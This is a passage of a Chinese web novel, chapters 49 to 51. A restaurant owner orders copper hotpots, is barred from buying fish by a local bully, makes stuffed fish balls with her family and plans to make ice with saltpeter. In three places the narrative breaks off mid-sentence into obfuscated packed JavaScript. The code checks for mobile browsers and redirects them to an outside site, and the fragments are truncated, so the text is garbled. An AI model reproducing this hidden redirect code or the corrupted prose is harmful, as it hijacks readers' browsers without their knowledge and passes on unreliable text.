“郭宜仗着他的姐夫是总兵,在这平安县里横行霸道不是一天两天了,我这次回来,本就打算连他和刘舫一起处置。你放心,我定要查清楚他打砸伤人的事,该罚银罚银,该杖责杖责,不处理妥当,我绝不离开县城。” 李闻生在一旁小声开口:“贾大人,我们都知道你是一个好官,我娘也不是想逼您,只是郭宜这人要是不处理,我们这饭馆也不敢在开了……” 李玉生立马接话:“就是啊!大人!他今天能指挥军汉打砸我家饭馆,还用刀砍伤我和小舅舅,明天指不定能干出什么更严重的祸事呢!就说这当兵的本来是为了保护我们吧?没想到会和那样的人同流合污,你看,我这胳膊就是让那群人砍的!” 贾胥连忙安抚:“你放心,你们的事我都知道了。给我点时间,我会在镇上收集证据,将郭宜那人和他的同伙一网打尽。” 他又看向顾毅,“顾先生,这次的事你放心,不说你为县里做的那些水车、水渠,就是单是肥料一事,大家得多感谢你们。必要的时候,我会将肥料的事向百姓公布,不是为了将你们架在风口浪尖上,而是以防万一,保护你们不被刘总兵找麻烦,多一层这样的保护,他就不会轻易动你!” 顾毅点头:“大人放心,我明白,我不是那种部分轻重的人。还是多谢您为我们考虑。”说完,他又向贾胥鞠了一躬。 几人又寒暄了几句,说的无非是往后照应的话。日头渐渐往西斜,衙门门口的百姓见没热闹看了,也三三两两地散去,有的还边走边议论,说贾大人是个好官,定能治得了郭宜和刘舫! 49. 第 49 章 告别了贾胥,秦嘉言带着一群人回到了‘聚鲜馆’,天色已经有些晚,街边的铺子大多已经关了门,只有几家卖小吃的摊子还冒着热气。 刚到聚鲜馆门口,就看着门板被砸得裂开大缝,风呼呼的往里灌。秦嘉言抬头看了一眼门缝,又回头看向陈玉桂。 陈玉桂知道婆母的意思,连忙拿起册子走过来说:“娘,您放心,损坏的东西我已经都登记好了,我和福贵、柳娘子她们查了两遍,损坏的东西一个都没放过,肯定没有漏掉的!” 秦嘉言满意的点点头,推开虚掩的门。屋里已经被李闻生他们收拾了一番,破碎的桌子杂物都堆在了一个角落,零星的几个碎片也堆在一个墙角。 “娘,这些东西我都没敢丢,怕衙门的人过来看。”李闻生指着那堆碎片说到:“还有几个桌子破坏的不算严重,只有几个划痕,我看修一修还能用,就都放后院去了。” 秦嘉言弯腰捡起一块没碎的瓷盘,转头对众人说:“唉!真是无妄之灾啊!我们就算这两天把餐馆收拾好重新开业,也会对生意有影响的。” 李玉生整个胳膊都被一块白布吊起来,捏着拳头愤愤的说:“可不是么!怎么说这儿也是见了血,那些胆小的肯定不肯再来店里了,都怪郭宜那个混蛋!” 李定馨看着婆婆没有言语,刘菇一边用手绢擦着桌子,一边喃喃到:“那可怎么办?咱家那些地都已经送给村里了,咱们也不能回去再种地吧?” 秦嘉言用手擦了下台阶上的灰,坐了上去:“那到不至于,你们放心,我已经有办法了。” 她扶了扶头上的发髻,把碎发轻轻的掖在耳朵后面,“我准备在饭馆里推出新的菜式!” “新菜式?”李定馨坐到门口的石凳上,疑惑地看着她,“娘,你心里又有主意了?”她知道婆婆厉害,总能想出些新鲜点子,可如今馆子成了这样,还有什么新菜式能救得了的? 刘菇也立刻丢下手帕凑到她身边,眼睛亮晶晶娇嗲的问:“娘,你又要做啥好吃的啦?还能比鸭货好吃?还是比卤味还香?”她满脑子都是以前婆婆做的那些新菜式,每一样,都能让人回味许久。 秦嘉言笑了笑,刮了一下她的鼻子:“你这个小馋猫,放心绝对少不了你的。不过我还得准备一下才能弄,明天我得去找铁匠打点东西。” “行啊,娘,明天我陪你去呗!”刘菇憨憨的挽上秦嘉言的胳膊,把头放在了她的肩上,秦嘉言拍了拍她的后背。 顾毅走过来,看着秦嘉言气定神闲的样子,也跟着放松了一些:“你心里有主意就好,贾大人说择日会审理郭宜,我看不如等他被关进大牢了,你在重新营业。”他犹豫了一下,还是继续开口:“我可能也不能留在这儿太久,贾大人说等他审完郭宜,他就要进京任职了,全都结束怎么也得年后。我想过完年和他一起上路,也好有个照应。” 秦嘉言有些诧异,“这么快么?”她低下头用几乎听不见的声音说:“也是,算算日子,也快到时间了。” 顾毅微笑说:“这次进京,我呆的时间可能会比较久,”他顿了一下,“秦嘉言,你有没有想过在京里也开一家‘聚鲜馆’?就你研究的那些菜式,在京里肯定是会大火的!” “去京里?”秦嘉言有些愣住,“这......这我从来没有想过啊......京城,也太远了。” “那不如有时间想想看,天下那么大,有时间总该出去看看。”他想了想从怀里掏出了一个硕大的银锭,放在她手中,“这是贾大人刚才塞给我的,说是朝廷对我们的嘉奖,水车是你想出来的,这笔钱应该都给你。” “这个使不得。”秦嘉言连忙伸手推拒到:“我就是胡乱出了一个主意,那些章程做法,可是你一点点的研究出来的,我哪能要这银子,你赶紧收回去。” 顾毅强硬的把银子放在她手里,“收着吧,不用跟我客气,我们不是‘一家人’么?再说了,饭馆重新开业也需要钱,总不能等到郭宜那人赔了钱之后再弄,这一大家子还等着吃饭呢!” 秦嘉言抬起头看向四周,柳娘子和福贵正收拾楼上雅间,李玉生一个手正帮着大哥李闻生抬桌子,李水生和刘菇在角落不知道在嘀咕什么。 “好吧,那就先放我这儿,你去京里的吃穿用度就由我来打理吧!”她快速打断了顾毅要拒绝的话,“就这么说定了,你要是不要我的东西,那这银子我也不能收!” 顾毅只好点点头,小声和她商量,“嘉言,不如过阵子和我一起去京里吧,一来你可以先去看看,考量一下京里适不适合开店铺;二来我们一起上路,又互相有何照应。” 秦嘉言知道他的心思,没有立刻答应,“等过一段时间再说吧,这镇上的饭馆我还没弄明白呢,那京城更是鱼龙混杂什么人都有,我们也没有什么背景。还是等在这里站稳了脚,在一步一步向前走吧。” 顾毅看秦嘉言已经下定了决心,就没有在继续劝,反正得等到年后才能走,到时候他在劝劝。 第二天,秦嘉言带着李闻生和刘菇来到了镇上唯一的铁匠铺。铺子里叮叮当当的声音老远就能听见,推门进去时,一股铁屑混着炭火的热气扑面而来。 “黄师傅,忙着呢?”秦嘉言把手里的东西往门口的石台上一放,顺手整理下被风吹乱的头发。 “呦,是秦娘子来了啊!这次你又想做点什么?”黄铁匠看见是秦嘉言,连忙把手里的活都撂下,跑到她身边。 之前秦娘子家的‘聚鲜馆’开业,在他家订做了不少新鲜玩意,就秦娘子让他做的那个装菜用的大方槽子,好多家饭馆看见后都争先恐后的找他仿做,他着实赚了不少银子,不知道这次秦娘子又要找他弄什么新鲜玩意。 秦嘉言没有说话,看着里面小学徒热火朝天打铁的样子笑了笑,递过去一张昨天晚上她求顾毅帮忙画的草图。 黄铁匠接过图看了一眼,“这是什么呀?”纸上用炭笔画着个奇怪的物件,像是一口锅?上面怎么还有个大烟筒? “这是个锅,不过和寻常的锅不一样。”秦嘉言指着图给他看,这锅整个都圆乎乎的,中间还凸起来一块,离远看像是一个大水滴。 “我管这个这叫火锅。”秦嘉言怕黄铁匠看不清细节,缓缓的解释到:“底下是个圆底,能放在装了水的盘子上。中间这块烟筒似的桶是空的,上面得留个口,下面弄成炉子那样,到时候我要装烧红的炭进去。” 黄铁匠摸了摸下巴上的胡茬,仔细的想了想,又把图纸拿在手里翻过来覆过去的看了很久。“中间装炭,那锅壁得有多厚?太薄了,炭一烧就烫穿了;太厚了,又沉得很,端都端不动。” 后面正打铁的小学徒,看见师傅认真的样子,也赶紧凑过来看,手里的大铁锤还没放下:“这玩意是干啥的?看着可够奇怪的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419906|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊?我从来都没有见过” “就是煮菜用的。”秦嘉言笑呵呵的解释,“冬天天凉,菜端上桌没一会儿就冷了。要是用这个锅,中间烧着炭,锅里盛着汤,汤会一直沸腾着,把菜直接放进去,煮熟捞出来就行,不管是煮菜还是煮肉,一直都是热乎的。” 旁边突然传来个声音:“还有这好东西?那以后大冬天不就顿顿能吃到热乎的了?”门口走进来个拎着锄头的汉子,想找黄铁匠修修锄头。 秦嘉言笑了笑没有回答他,指着图纸和黄铁匠说细节:“我寻思铁的太重了,也容易生锈,这锅子我准备全做成铜的,轻便些,热得也快些。” 她又指着图纸上的小圆圈,“还有啊,这锅沿得往外翻一点,做个小边,不然汤容易洒出来。锅盖上也得留个小气孔,不然热气闷在里面,汤容易溢。” 黄铁匠盯着图纸看了半天,又拿起炭条在纸上画了几道:“你说的这中间装炭的地方,得有个底吧?不然炭灰都掉锅里了。还有,炭从哪儿放进去?总不能每次都把锅翻过来吧?” “要底,得是漏的,能漏炭灰的那种。”秦嘉言赶紧补充,“顶上留个口,装个小盖子,添炭的时候掀开盖子就行,不用动锅。对了,锅的两边还得打两个耳朵,不然烫手,到时候我自己缠块布就能端了。 黄铁匠这会儿算是看明白了,他把图纸往铁砧上一放,拿起旁边的铜块掂量了掂量:“这铜得用熟铜,软和,好打。就是你要的这尺寸,直径得有一尺吧?中间装炭的筒子得留三寸宽,不然炭烧不开。” “尺寸你看着来,别太大,也别太小,刚好能放在桌上围着吃就行,你看好弄不?我想先订十个。”秦嘉言连忙说。 “我有思路了,不过......”黄铁匠犹豫了一下,还是慢慢的说了出来:“就是这铜的价格不像铁这么便宜......你可得想好了,一下子要十个,那了是不小的一笔......” “这你放心,我的钱足够,你就放心帮我弄就是。”说着,她从布包里拿出顾毅给她的那锭银子,轻轻地放在石台上,“黄师傅,这看这些够不够?” 黄铁匠拿起银子笑得眯起来眼,“够了,足够了。你打算什么时候取?” 秦嘉言放下了心:“当然是越快越好,您看三天后怎么样?三天后我直接到您店里取。” “不行,不行,不能那么快就做出来,这铜得先熔了,在一点点敲成型。中间那筒子还得和锅底焊在一起,得仔细些,不然漏了就废了。而且你还要那么多,我带着几个徒弟连夜赶工,估摸着也得五天,你五天后再来取吧。” “行,那我就五天后再来,您帮我做仔细一些。”秦嘉言和黄铁匠商量好了日期刚要走,刚才那个汉子连忙拦住了她,有些不好意思的挠挠头:“这位......秦娘子,你这锅要是好用,能不能让黄师傅也给我打一个?” 秦嘉言这才回头看了他一眼:“当然可以啊,这又不是什么非要保密的东西,要是传开了,大家都能吃到热乎乎的了。” 那汉子感谢的看了她一眼,心想:真是个好人啊!刚才她说自己是开饭馆的吧?一会他跟黄师傅打听打听那饭馆在哪,以后自己一定带着一家老小去捧捧场。 出了铁匠铺,秦嘉言让李闻生去集市上雇了一辆驴车,自己则先带着刘菇回到了饭馆里叫上李水生和另外两个儿媳妇一会准备去小渔村。 50. 第 50 章 小渔村的路,没有怎么修整,驴车轱辘碾过时,溅起些碎泥点子,大儿媳李定馨掀起车帘看了眼,回头道:“娘,前头就该到村口了,已经闻见海腥气了。” 秦嘉言嗯了声,伸手把鬓边乱了的碎发别到耳后,又拍了拍身边三儿子李水生的胳膊:“醒醒吧,别睡了。一会儿你们几个人帮我好好挑挑鱼,挑那些看着活蹦乱跳的,别让人糊弄了。” 李水生揉着眼睛坐直,打了个哈欠:“放心吧,娘,挑活的就行呗,这个活好整。” 李闻生闻言看了弟弟一眼,没有吱声。之前,饭馆被砸的时候,他这个“好弟弟”直接躲在了人群后,没敢露面,完全不顾自己的媳妇和老娘。她娘在饭馆里没有看见,他可是看得一清二楚。 二儿媳陈玉桂,挺着一个大肚子,把手里的皮囊递给秦嘉言:“娘,您先喝点水。一会儿还得挑鱼呢。” 她肚子已经很大了,秦嘉言不想让她来。可这二儿媳妇说自己得多出去走动,不然总坐在一处就容易胡思乱想。 “二嫂,你不用担心。就那点鱼一会就完事。”李水生梗着脖子笑,被大哥李闻生拍了下后脑勺,“少贫嘴,等会儿帮着拎东西,别光耍嘴皮子。” 他话音刚落,三儿媳刘菇就从车后头递过个水壶:“大哥,您也先喝点水,等会儿挑鱼得费力气,别跟他一般见识。” 几人说着话,驴车就停在了小渔村的村口。小渔村里有个小集市,平日里来往的商贩,就从这个小集市里面进货。现在这渔市刚开市,来来往往聚满了周围村镇的人,村口停了许多辆马车、牛车,还有几个眼熟的小贩正往车上搬东西。 秦嘉言他们几个刚下驴车,就见集市里已经热闹起来,挑着担子的鱼贩吆喝着走过,竹筐里的海鱼扑腾着,溅出的水花打湿了石板路。秦嘉言领着人往里头走,目光扫过一个个鱼摊,最后停在一个摆着大木盆的摊子前。 “这位老板,这是啥鱼呀?新鲜不?”秦嘉言弯下腰,伸手拨了拨木盆里的鱼,鱼尾巴甩了下,溅了她手背上点水。 摊主老张连忙笑着应:“这位娘子,您看看,这鱼可是刚从海里捞上来的,你看这鳞片,亮得很!要多少?我给你称。” “这鱼刺多不?”秦嘉言直起身,指了指盆里的鱼,“我得要一些肉质嫩的,刺少点的,做鱼丸。” “那你可挑对了!”那摊主连忙拍拍筐子,“别的不敢说,咱家这鱼,就一根主刺,一点小毛刺都没有,你要做鱼丸,没有别的比这个更合适了!” “那好吧!你给我挑个六十来斤,挑大一点的。”秦嘉言用手指戳了戳鱼身,那鱼立刻甩甩尾巴游走了。 李闻生上前一步,蹲下身帮着挑,手指捏了捏鱼身:“娘,这鱼大部分都是活的啊,我看挺好的。活的鱼做出的鱼丸肉质紧实。” 李定馨也凑过来,伸手翻了翻筐里的鱼:“这几条死的,鳃也是红的,新鲜着呢。我看也挺不错。店家,这死掉的鱼能便宜点不?” “放心,这是肯定的,你们买得多,我都算你们最低价,比那些货郎拿货在低一层。”摊主笑着往秦嘉言他们带来的筐里挑鱼,还不时的把小一些的丢回自己的摊上。 陈玉桂从布兜里掏出个小秤:“老板,等会儿你称的时候,我们自己也过过秤,免得回头差了数。您别介意啊!” 老张笑着摆手:“放心,放心!我不介意,你们称一下也好。剩得一会再扯皮。”正说着,李水生突然拽了拽秦嘉言的袖子,往斜后边使眼色,小声的说:“娘,你看那边。” 秦嘉言顺着他指的方向看过去,就见乔三爷晃悠悠地走过来,身上穿着件深绿色的绸子衫,手里把玩着个玉扳指,身后跟着两个跟班,是之前见过的老鼠脸和一个不认识的大汉。 秦嘉言想起之前没有答应乔三想要垄断她家的金蛋秘方,和王麻子的事,就知道他这次来者不善。 乔三爷在人群里四处张望,明显是在找什么人,一抬头看见了秦嘉言。秦嘉言的车刚到村里,他手下的小喽啰就告诉他了,不知道这不给面子的秦嘉言又要干什么?不过,这次是在他的地盘,肯不肯卖她面子,那就要看她的心情了! 他加快脚步走过来,皮笑肉不笑地开口:“呦呦呦,这不是秦娘子吗?怎么今儿有空到我们这小渔村来了?想买鱼?” 秦嘉言站直身子,看着乔三面无表情,只淡淡应了句:“家里想做些鱼丸,过来挑点新鲜鱼。怎么,有事么?” “做鱼丸啊?”乔三爷挑了挑眉,伸手摸了摸下巴,“我可听说秦娘子你手艺好,做的吃食在镇上都有人抢着要。这鱼丸要是做出来,想必也能卖个好价钱吧?还是你想出别的营生了?” 秦嘉言心里咯噔一下,知道他没安好心,嘴上却没松口:“怎么了?我就想做一些鱼丸留着过冬,不行么?。” “留着过冬?呵呵,你自己吃用得着买这么多鱼?”乔三爷笑了,语气里带着点压迫,“秦娘子也别跟我绕弯子,我知道你是个能干的,你想发财,带着点大家伙呗。” 他转了转手上的戒指斜着眼看向她:“这样吧,我不管你要做什么,这鱼丸,你要是卖,就算我一份,这些鱼你都拿去,算我入份子,回头你那个小饭馆赚的银子,咱们三七分” 这话一出,李闻生立刻皱紧了眉,李定馨悄悄拉了拉秦嘉言的衣角。拿这几条破鱼,就想要“聚鲜馆”的三成利润,这乔三也太不要脸了吧! 秦嘉言心里清楚,乔三爷这是想空手套白狼分一杯羹,再说了,就他那样的人,和郭宜是一路货色,真合作了,指不定弄出什么样的幺蛾子呢。 她抬眼看向乔三爷,双手放在腰侧,福了福,语气坚定的说:“多谢乔三爷好意,不过我那“聚鲜馆”买卖小,暂时还请不起您这尊大佛。” 乔三爷脸上的笑瞬间没了,脸色沉了下来:“秦嘉言!你这是不给我面子?” “不敢,”秦嘉言依旧平静,“我说的是实话,您乔三爷在外面的买卖多厉害啊,我这破饭馆只是勉强糊口罢了,哪能入得了您得眼,您还是找其他人合作吧。” “好,好得很!”乔三爷怒极反笑指着她的鼻子想说什么,又忽然转头冲周围的鱼贩喊了一嗓子,“你们都听着!从今天起,这小渔村谁也不准卖鱼给秦娘子!谁敢卖,就是跟我乔三作对!我就让他在这小渔村混不下去!” 周围的鱼贩们都吓得不敢说话,老张也缩了缩脖子,手里的秤杆都放了下来。 李水生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436188|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急了,往前一步刚想说话,就被李闻生拉住退了回来。 秦嘉言看着乔三爷那副嚣张的样子,气得手都有点抖,可也知道跟他硬拼没用,只能咬了咬牙:“走,咱们回去。” “呸!不识好歹。我看你还能得意多久!”乔三看秦嘉言一行人就这么离开,气的直接踹翻了老张的鱼筐,生气的离开了。 那些鱼在地上翻腾了一会,很快就不在动弹,老张急得用手直擦汗,乔三一行人没走远,他不敢把鱼都捡起来。他看着满地的鱼,欲哭无泪,早知道今天就不和那一家搭话了,这叫什么事啊! 一家人拎着空篮子往回走,刘菇忍不住抱怨:“这乔三爷也太过分了!凭什么不让人卖鱼给咱们!” 陈玉桂扶着肚子,皱着眉问:“娘,那鱼丸还做不做了?您要研究那新菜式,非要用鱼丸吗?” 李闻生把驴车上的踏板拿下来,小心的把他们几个扶上车:“天色还早,要不咱们再去别的渔村看看?” “我听说附近几个渔村都是归乔三爷管的,去了也是白去。那些鱼户不敢卖的。”李定馨叹了口气,李水生坐在驴车前面,用力的一甩鞭子:“真是倒霉,怎么遇上这么个人!” 秦嘉言心里也堵得慌,刚到半路,忽然听见有人喊:“是秦娘子一家吗?请等一等!等一等” 几人回头,就见一个高大的汉子快步走过来,正是前几天在铁匠铺遇到的那个大汉。 “是你呀,这么巧?你在这附近住?有什么事吗?”秦嘉言有些意外。 那大汉走到跟前,看了看他们手里的空篮子,又看了看几人脸上不太好的神色,“我刚到村里,就听见那些渔户们说了,你们跟乔三爷有仇?” 秦嘉言叹了口气,把以前的事情说了一遍。“......那乔三是什么货色!我们要是找他那种人合作,不如回去种地了!” 那大汉听完,骂了句:“这乔三也太不是东西了!仗着跟总兵府有点关系,就横行霸道!还有那郭宜也是,他们都不是好东西!” 他顿了顿继续说:“秦娘子别急,我特意追过来是想告诉你,我知道有个地方有鱼。乔三管不到那边!” 他用手指了指官道的北边,和赶车的李闻生交代,“顺着这条路直走,在平安县北边,往右边的岔路去,大概走个半天左右,有个边溪村,村里有条大河,里头的河鱼多得很,就是没海鱼出名,那得村民有几个靠打鱼生活,偶尔会拉鱼去县城里,不过不是经常,你们不知道也正常。” “真的?那太好了!”李水生眼睛一亮,直接从车上跳下来,看向他指的方向,秦嘉言也松开紧皱的眉头,高兴的问:“那河鱼刺多不多?做鱼丸合适吗?” “合适!而且比海鱼还便宜!”王大汉点头,“那河里的鱼叫白鳞鱼,刺特别少,肉还鲜嫩无比,没有一般河鱼那种土腥味。我前几天去那边送货,还买了两条回来吃,香得很。” 秦嘉言心里的石头落了一半,连忙道谢:“真是太谢谢这位大哥了!要是没你,我们还不知道该怎么办呢。” “客气啥,都是乡里人,我还得多谢你让我做那个什么锅呢!”大汉摆了摆手,“你们赶紧往那去吧,趁天还早,赶过去还能挑挑新鲜的。” 51. 第 51 章 夕阳还高挂在天空一侧,集市上的人影还没散去,李家的小驴车缓缓的停在了‘聚鲜馆’的大门口。 秦嘉言领着三个儿媳,先下了驴车,把聚鲜馆的大门打开。李闻生和李水生把装鱼的大筐从驴车上抬了下来。筐里装满了白鳞鱼,鱼尾巴还在时不时扑腾一下,溅得裤脚沾了点湿痕。 李玉生吊着胳膊从里屋跑出来,看着哥哥们拿着的筐好奇的凑了过去,“这鱼好新鲜啊,和平时的不一样?这是什么鱼?” “这是白鳞鱼。”李闻生看着弟弟的样子,笑了下,“躲远点,一会别溅到水。” 李水生把鱼放下,又去屋里取了个空木盆,后背的粗布褂子都被鱼溅出来的水弄湿了一片,“娘,这么多鱼,今天做不了,放盆里养着吧?” “我也合计呢,这么多鱼一下子都做成鱼丸,怕没几天就坏了。”秦嘉言应着,“先留几条做鱼丸,剩下的鱼都先养着吧,等什么时候用,什么时候在现杀。” 李定馨连忙应和道:“行,娘,我这就挑几个肥肥大大的。”她的脸圆圆的,一笑眼睛就眯成条缝,看着格外亲切,手上的活计也麻利,一眼就瞅出哪条鱼最肥,一下子就把那条鱼从筐里挑了出来。 陈玉桂走到筐旁边,扶着肚子往里面看,“娘,我看着鱼挺好,咱们多做一些拿去卖呗,就您这手艺,恐怕我们摆摊一会,就得卖光了。” 刘菇撇撇嘴:“娘的手艺还用说?我现在都能闻到鱼丸的味道了,娘,到时候我们自家人得好好吃一顿吧!”说着还故意吸了吸鼻子,逗得大家都笑了。 李水生跟在刘菇旁边,伸手帮她她扶了扶头上的发髻:“你就知道吃,娘做买卖是正事,我们自家人什么时候不能吃,就你嘴馋!”刘菇白了他一眼:“我能吃多少,没看那一大筐鱼呢!” 秦嘉言看着小两口拌嘴,笑着摇头:“放心吧,都有份,都有份!这次买了这么多鱼呢,在饭馆前面支个棚子卖,一半就留我们自己吃,反正这鱼也多。” 一行人说说笑笑进了后院,院子里种着棵桂花树,这会儿枝繁叶茂,投下一片阴凉。 李闻生和李玉生把筐放在院子中央的石桌上,李定馨和刘菇赶紧去厨房又拿了几个大盆,又在后院井里打了几桶水,倒了进去,把筐里鱼一条条拿出来放进盆里。 “娘,咱现在就开始做不?”李定馨挽起袖子,露出结实的胳膊,准备动手。 秦嘉言点点头,走到石桌旁,拿起一条鱼翻看了下:“那些还活着的鱼,就先养在大盆里,这几条不行的鱼,今天就都做出来吧。咱们先把鱼鳞刮了,鱼鳃掏干净,鱼头和鱼骨头别扔,留着熬汤,这样煮出来的丸子才鲜美。定馨,你跟着我一起刮鱼鳞;刘菇,你在去拿个大盆来,等下装鱼肉;玉桂,你帮我烧一大锅热水,留着一会下鱼丸用。” “哎。”三个儿媳齐声应着,各自忙活起来。 李定馨找了块小竹片,蹲在石桌旁边的大盆前,一手按住鱼身,一手拿着竹片顺着鱼鳞的方向刮,一下子,鱼鳞簌簌往下掉,都落在旁边的竹筐里。 秦嘉言也没闲着,她刮鱼鳞的手法更熟练,一会儿工夫就刮完一条,递给旁边的刘菇。刘菇已经把大盆摆好,接过鱼就去旁边的清洗,她洗得仔细,鱼上面的粘液都被她清洗的干干净净。 陈玉桂刚烧好热水,李玉生就过来把他二嫂赶到里屋休息,自己用木瓢舀着往盆里倒,转身又烧了一大锅,嘴里还念叨:“娘,水开了,还要再继续加柴火吗?” “不用添柴了,水温乎就行,太烫了鱼肉下进去就散了。”秦嘉言头也不抬地说,手里的活计没停。 李闻生和李水生两个兄弟也没闲着,李水生去后院劈柴留着她们一会用,李闻生则是去井边打水。 洗完的鱼都整整齐齐的摆在一旁边,秦嘉言拿出一条放在案板上,准备取鱼肉。“定馨,你看看,这样剔肉最好。”她拿起一把锋利的菜刀,从鱼背处下刀,顺着鱼骨慢慢片,动作又快又稳,不一会儿就片下一大块鱼肉。 “哇,娘,您这手艺,真是没话说。”李定馨一边帮忙按住鱼,一边夸赞,“上回我片鱼,总也剃不干净,留了一大块在鱼骨上,心疼死我了!” 秦嘉言笑了:“练一练就会了,好好跟着我学,以后这活就交给你们了。” 刘菇端着盆过来接鱼肉,看着盆里的鱼肉越来越多,自己也好奇的问:“娘,看起来挺容易的?要不我也试试?” “行,你试试,小心点刀。”秦嘉言把刀递给她,退到一边指导,“这里慢一点,刀斜着点切,这里贴着骨头,对,就这样,小心点别划到手。” 刘菇学得十分认真,虽然动作慢了一些,渐渐的也剔出了好几片鱼肉。 等一盆鱼肉都片下来,秦嘉言让李定馨在仔仔细细挑一遍鱼刺,自己拿了两把菜刀准备剁鱼肉。 她把鱼肉放在另一个案板上,拿起两把菜刀,双手同时起落,“咚咚咚”的声音在院子里响起来。李定馨挑刺挑得仔细,每一块鱼肉都翻来覆去看几遍,生怕落下一根小刺,“娘,我这鱼刺挑得很仔细,你剁的时候再看一眼就行了。” 秦嘉言手上没停:“嗯,我看着呢,放心吧,这鱼肉我剁的碎一些,一会在用手过一遍。” 多了一会儿,一大盆鱼肉就变成了鱼泥,秦嘉言让刘菇往里面加了点盐和酒,自己又打了两个鸡蛋进去。 “你看,这个鱼丸一定要顺着一个方向搅,这样才能上劲,做出来的鱼丸才会有弹性。”刘菇点点头,挽起袖子开始搅拌,她力气不大,搅了一会儿就累了,李水生赶紧过来帮忙,“媳妇,你歇一会,我来我来,我有劲儿。” 男人力气比较大,鱼泥搅得又快又均匀,一会就粘稠起来。李玉生凑过来,刚伸手想摸一下,就被秦嘉言拍了下手:“没洗手就乱摸,多脏,一会做出来大家怎么吃?” 李玉生赶紧缩回手:“娘,我洗了洗了,你看,我刚才烧完火就把手洗干净了。” 等鱼泥搅好,秦嘉言又剁了一些猪肉馅,里面肥瘦对半分,看起来香得很。 “娘,你这是要做肉丸吗?”刘菇好奇的问。 “不,我要做带肉馅的丸子,比普通的丸子好吃,将来也好卖!”鱼丸小渔村就有卖的,不做点与众不同的样式,怎么可能比别人家的好卖? 秦嘉言舀了一勺鱼泥放在手心,又把肉馅放在中间,手指并拢,轻轻一挤,一个圆滚滚的鱼丸就从虎口处冒了出来,拿勺子往旁边一刮,就放进了旁边烧着温水的大锅里。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16461778|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘,让我也试试。”李定馨学着秦嘉言的样子,挤了个鱼丸,就是形状有点歪,她不好意思地笑了:“我挤得也太难看了,这可咋整?一点也不圆啊?。” “多练几次就好了。”秦嘉言安慰她,“刘菇,你也来试试,别光看着。” 刘菇犹豫了一下,伸手舀了一大勺鱼泥,用力一挤,鱼泥一下子从指缝中钻了出来。李水生在旁边笑得直不起腰:“你这弄得啥呀?别说丸子了,像一滩烂泥似得。”刘菇瞪了他一眼:“你笑啥笑,真当是那么容易的么?你行你试试。” 李玉生还真就上手试了试,结果挤出来的鱼丸比刘菇的还难看,惹得大家都笑了。院子里的笑声此起彼伏,连树上的麻雀都被惊得飞了起来。 就这样,一家人分工合作,挤鱼丸的挤鱼丸,烧火的烧火,捞鱼丸的捞鱼丸,一直忙到太阳快落山,才把所有的鱼都做成了鱼丸。装鱼丸的大瓷盆摆了满满两盆,鱼丸雪白圆润,看着就让人喜欢。 秦嘉言看着两盆鱼丸,皱了皱眉:“现在天气还不算太凉,这么多鱼丸,明天要是卖不出去,可就得坏了,那也太可惜了。” 李定馨也跟着发愁:“可不是么,这天气可放不了几天,要是入冬就好了。”刘菇想了想:“要不放在桶里吊到井上?井里凉快,能多放两天吧。” 秦嘉言点点头:“也只能先这样了,一会找个干净点的布盖上,再吊到井里去。”说着就去拿布,刚走到井边,看着井里的凉水,她忽然愣了一下。 她以前在现代的时候,她刷抖音的时候好像看过古法制冰的法子,貌似用硝石就能做冰,要是能做出冰来,把鱼丸放在冰上镇着,保管能放更久,说不定还能做点别的冰品卖。 这个念头一冒出来,秦嘉言就按捺不住了,她转身对几个儿媳说:“我想到办法了,之前顾毅和我说过,他在一本古籍里看见过制冰的方法,我们可以做一些冰,要是有了冰,鱼丸就能放更久,还能做些冰镇酸梅汤、冰酥酪啥的,夏天的时候卖这个,肯定受欢迎。” 李定馨一听,眼睛都亮了:“做冰?娘,这大热天的哪有冰呀?我们又没有冰窖,冰还能做出来?” 刘菇也有些疑惑:“娘,你说那真能做出冰?能行吗?冰不是只有冬天才有的吗?” 李玉生倒是好奇:“娘,咋做冰啊?你教教我呗,我也想学。” 秦嘉言笑着说:“靠谱,顾毅说的方法,哪样不靠谱了,方法也简单,用硝石就能做就来。明天我去街上买些硝石和大瓷盆,再找些稻草,咱们试试。”她怕别人猜到什么,直接把这些都赖到顾毅身上。 李闻生挠挠头不解的问:“硝石?那东西不是用来做火药的吗?能做冰?” “咋不能做?试试就知道了。”秦嘉言拍了拍他的胳膊,“明天我早上就去买材料,快的话中午就能做出来,这些鱼丸今天就先吊在井里,明天早上先端出去卖一部分,剩下的就都能拿冰镇起来了。” 第二天一早,秦嘉言就揣着钱出门了。街上已经热闹起来,卖早点的小贩吆喝着,热气腾腾的包子铺门口排着队。 